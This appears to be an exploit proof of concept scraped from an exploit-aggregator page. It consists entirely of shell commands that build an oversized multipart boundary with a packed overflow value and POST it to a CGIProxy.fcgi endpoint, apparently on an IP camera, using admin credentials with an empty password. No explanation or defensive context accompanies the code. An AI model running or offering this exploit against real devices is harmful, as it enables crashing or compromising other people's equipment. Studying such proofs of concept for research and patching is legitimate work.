## https://sploitus.com/exploit?id=SSV:96502
$ usr="admin"
$ pwd=""
$ boundary=`perl -e 'print "-"x0x122.pack("L",0x41424344)'`
$ data=./tmpfile
$ printf '%s\r\nContent-Disposition: form-data; name="name"; filename="this can be overflown but not made useful in any way"\r\nContent-Type: application/octet-stream\r\n\r\nThis could be empty as long as the function will return\n\r\n%s--\r\n' "${boundary}" "${boundary}" >| $data
$ curl -X POST -H "Content-Type: multipart/form-data; boundary=${boundary}" "http://$SERVER/cgi-bin/CGIProxy.fcgi?usr=${usr}&pwd=${pwd}&cmd=usrBeatHeart&usrName=${usr}&callbackJson=" --data-binary @$data